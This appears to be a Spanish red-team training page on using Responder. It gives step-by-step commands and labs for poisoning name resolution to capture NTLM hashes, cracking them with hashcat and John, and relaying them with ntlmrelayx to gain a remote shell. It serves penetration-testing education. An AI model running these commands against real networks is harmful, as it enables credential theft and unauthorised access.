Saltar al contenido principal

Responder

Credential Capture3.xRed Team

Poisoner LLMNR/NBT-NS/MDNS que captura hashes NTLMv1/v2 en redes locales. Intercepta autenticaciones de Windows cuando el DNS falla, capturando credenciales para crackeo offline o relay.

Fase 1 — Configuración y lanzamiento

Configurar Responder y capturar hashes NTLM en la red local

Responder se ejecuta en la máquina del atacante y escucha en broadcast las respuestas LLMNR, NBT-NS y MDNS. Cuando un usuario escribe un nombre de recurso incorrecto (ej: \fileserve en vez de \fileserver`), Windows envía una petición de broadcast. Responder responde falsamente y captura el hash NTLM que el usuario envía automáticamente.

Requisitos:

  • Linux con permisos root
  • Interfaz de red en la misma subred que las víctimas
  • Network share name incorrecto escrito por un usuario (o fuerza con poisoning)

Protocolos que intercepta:

  • LLMNR (Link-Local Multicast Name Resolution) — Puerto 5355
  • NBT-NS (NetBIOS Name Service) — Puerto 137
  • MDNS (Multicast DNS) — Puerto 5353
  • WPAD (Web Proxy Auto-Discovery) — Puerto 80
bash
# Verificar interfaz de red
ip addr show eth0

# Lanzar Responder en modo verbose
sudo responder -I eth0 -v

# Modo análisis (solo escucha, no responde — para ver tráfico)
sudo responder -I eth0 -A

# Configuración en /etc/responder.conf
# [Responder Core]
# StaticIP = false
# Challenge = random
#
# [HTTP Server]
# OnAttack = true
#
# [SMB Server]
# OnAttack = true
#
# [DNS Server]
# OnAttack = true
#
# [WPAD Proxy]
# OnAttack = true

# Lanzar con opciones específicas
sudo responder -I eth0 -v -wrf --lm --disable-ess

💡El flag -A (analyze mode) es ideal para redes donde no quieres hacer ruido. Solo escucha y muestra qué protocolos están activos sin responder a nadie.

Fase 2 — Captura de hashes NTLM

Interceptar hashes NTLMv1/v2 de usuarios que intentan acceder a recursos

Cuando un usuario escribe un nombre de recurso incorrecto en Windows (ej: \fileserver, \share, \prints), el sistema envía una petición de broadcast por LLMNR/NBT-NS. Si ningún servidor DNS responde, Responder intercepta y responde falsamente, causando que el usuario envíe su hash NTLM al servidor malicioso.

Los hashes capturados se guardan en:

  • /usr/share/responder/logs — Archivos .cap (SMB), .txt (HTTP), etc.
  • Formato: username::domain:challenge:ntlmv2_response:session_blob

Tipos de hash que captura:

  • NTLMv2 (el más común en Windows moderno)
  • NTLMv1 (legacy, más fácil de crackear)
  • LM (legacy, trivial de crackear)
bash
# Responder captura hashes automáticamente cuando un usuario
# escribe un recurso incorrecto en Windows:
# \\fileserber (typo) → Responder responde → usuario envía hash

# Ver hashes capturados
ls /usr/share/responder/logs/

# Formato del hash NTLMv2:
# admin::WORKGROUP:a1b2c3d4e5f6:11223344556677889900aabbccddeeff:0101000000000000...
#
# Campo 1: username
# Campo 3: challenge (8 hex chars)
# Campo 4: NTLMv2 response (32 hex chars)

# Convertir a formato hashcat para crackear
# hashcat -m 5600 hash.txt wordlist.txt

# Convertir a formato john para crackear
# john --format=netntlmv2 hash.txt

# Filtrar solo hashes de un dominio específico
grep "DOMAIN" /usr/share/responder/logs/*.txt

# Capturar solo hashes de un usuario específico
responder -I eth0 -v | grep "admin::"

💡Los hashes NTLMv2 son los más difíciles de crackear. Usa contraseñas largas (20+ caracteres) en las cuentas de servicio para hacerlos impracticables.

Fase 3 — Crackeo de hashes con hashcat/John

Recuperar contraseñas a partir de hashes NTLM capturados

Una vez capturados los hashes, el siguiente paso es crackearlos offline con fuerza bruta o diccionario. Esto es completamente offline — no hay interacción con la red de la víctima.

Herramientas de crackeo:

  • hashcat — Más rápido, soporta GPU, mejor para hashes grandes
  • John the Ripper — Más flexible, mejor soporte de formatos legacy

Modos de hashcat para NTLM:

  • -m 5600 — NTLMv2 (el más común)
  • -m 5500 — NTLMv1
  • -m 3000 — LM (legacy)
bash
# Crackear NTLMv2 con hashcat (GPU)
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

# Crackear con reglas
hashcat -m 5600 hash.txt rockyou.txt -r rules/best64.rule

# Crackear con múltiples wordlists
hashcat -m 5600 hash.txt wordlist1.txt wordlist2.txt

# Crackear NTLMv1 con John
john --format=netntlmv1 hash.txt

# Crackear NTLMv2 con John
john --format=netntlmv2 hash.txt

# Usar potfile de John para ver progreso
john --show --format=netntlmv2 hash.txt

# Crackear con fuerza bruta (más lento pero exhaustivo)
hashcat -m 5600 hash.txt -a 3 ?a?a?a?a?a?a?a?a

# Ver progreso
hashcat status

💡El tiempo de crackeo depende de la complejidad de la contraseña. Contraseñas de 8+ caracteres con mayúsculas, números y símbolos pueden tardar días o semanas. Contraseñas débiles se crackean en minutos.

Fase 4 — NTLM Relay con ntlmrelayx

Relay hashes capturados para obtener acceso directo a máquinas

En vez de crackear hashes, puedes hacer relay: reenviar el hash NTLM capturado a otra máquina de la red para obtener acceso autenticado. Esto es mucho más rápido que crackear y no requiere conocer la contraseña.

Requisitos para relay:

  • Signing no habilitado en el objetivo (SMB signing disabled)
  • El usuario capturado tiene privilegios en la máquina objetivo
  • NTLMv1 o NTLMv2 (ambos funcionan para relay)

Herramientas:

  • ntlmrelayx.py (de impacket) — El estándar para relay
  • MultiRelay.py — Relay múltiple a varios targets
bash
# Configurar ntlmrelayx para relay a máquina objetivo
impacket-ntlmrelayx -t 192.168.1.50 -smb2support

# Relay con ejecución de comando
impacket-ntlmrelayx -t 192.168.1.50 -c "whoami" -smb2support

# Relay a LDAP para dumps de hashes
impacket-ntlmrelayx -t ldap://192.168.1.10 -smb2support

# Relay a HTTP (Exchange, OWA)
impacket-ntlmrelayx -t http://192.168.1.10/ews -smb2support

# Multi-relay a múltiples targets
python MultiRelay.py -t ALL -u all

# Configurar Responder para NO responder SMB/HTTP
# (dejar que ntlmrelayx maneje esos protocolos)
# En /etc/responder.conf:
# [SMB Server]
# OnAttack = false
#
# [HTTP Server]
# OnAttack = false

💡El relay funciona mejor cuando SMB signing está deshabilitado en el objetivo. Usa nmap para verificar: nmap --script smb-security-mode -p 445 <target>

Labs Prácticos

Básico 25 min

Lab 1: Captura de hashes NTLM con poisoning

Objetivo

Configurar Responder para capturar hashes NTLMv2 de usuarios en la red local cuando intentan acceder a recursos inexistentes.

Escenario

Estás en una red corporativa y necesitas capturar credenciales. Un usuario de Windows escribe un nombre de recurso incorrecto en el explorador de archivos. Responder interceptará la respuesta y capturará su hash NTLM.

Pasos

1

Configurar Responder en modo verbose con la interfaz correcta

2

Forzar una petición LLMNR desde un host Windows objetivo

3

Capturar el hash NTLMv2 resultante

4

Guardar el hash para crackear offline con hashcat

bash — práctica
# PASO 1: Verificar interfaz de red
ip addr show eth0

# PASO 2: Lanzar Responder
sudo responder -I eth0 -v

# PASO 3: Desde un host Windows, escribir un recurso incorrecto
# En el explorador de archivos: \\fileserber (typo intencional)
# Windows enviará petición LLMNR → Responder interceptará

# PASO 4: Responder mostrará algo como:
# [+] NTLMv2-SSP Hash: admin::WORKGROUP:1122334455667788:aabbccdd...

# PASO 5: Guardar el hash en un archivo
echo 'admin::WORKGROUP:...' > captured_hash.txt

# PASO 6: Crackear con hashcat
hashcat -m 5600 captured_hash.txt rockyou.txt
# O con john
john --format=netntlmv2 captured_hash.txt

Resultado esperado

Responder capturará el hash NTLMv2 del usuario que escribió el recurso incorrecto. El hash aparecerá en la terminal y se guardará en /usr/share/responder/logs/. Podrás crackearlo offline con hashcat (modo 5600).

Intermedio 35 min

Lab 2: Relay de hashes con ntlmrelayx

Objetivo

Capturar un hash NTLM y hacer relay a otra máquina para obtener acceso autenticado sin crackear la contraseña.

Escenario

En la red hay un servidor con SMB signing deshabilitado. Un usuario con privilegios en ese servidor escribe un recurso incorrecto. Responder captura el hash y ntlmrelayx lo reenvía al servidor para obtener una shell.

Pasos

1

Identificar un host con SMB signing deshabilitado

2

Configurar ntlmrelayx para relay al host objetivo

3

Configurar Responder para no manejar SMB (dejarlo a ntlmrelayx)

4

Capturar hash y relay para obtener ejecución de comandos

bash — práctica
# PASO 1: Identificar hosts con SMB signing deshabilitado
nmap --script smb-security-mode -p 445 192.168.1.0/24

# PASO 2: Configurar ntlmrelayx
impacket-ntlmrelayx -t 192.168.1.50 -smb2support -c "whoami"

# PASO 3: Configurar /etc/responder.conf
# [SMB Server]
# OnAttack = false
# [HTTP Server]
# OnAttack = false
# Esto permite que ntlmrelayx maneje SMB/HTTP

# PASO 4: Lanzar Responder en otra terminal
sudo responder -I eth0 -v

# PASO 5: Desde Windows, escribir recurso incorrecto
# \\dc01 (o cualquier nombre incorrecto)
# Responder captura → ntlmrelayx reenvía → ejecuta comando

# PASO 6: Obtener shell completa
impacket-ntlmrelayx -t 192.168.1.50 -smb2support -i

Resultado esperado

ntlmrelayx recibirá el hash NTLM y lo reenviará al host objetivo. Si el usuario tiene privilegios, obtendrás ejecución de comandos remota sin crackear la contraseña. El flag -i abre un interactive shell.

Aviso legal: Este contenido es estrictamente educativo. CyberFlows no apoya actividades ilegales. Úsalo solo en entornos autorizados.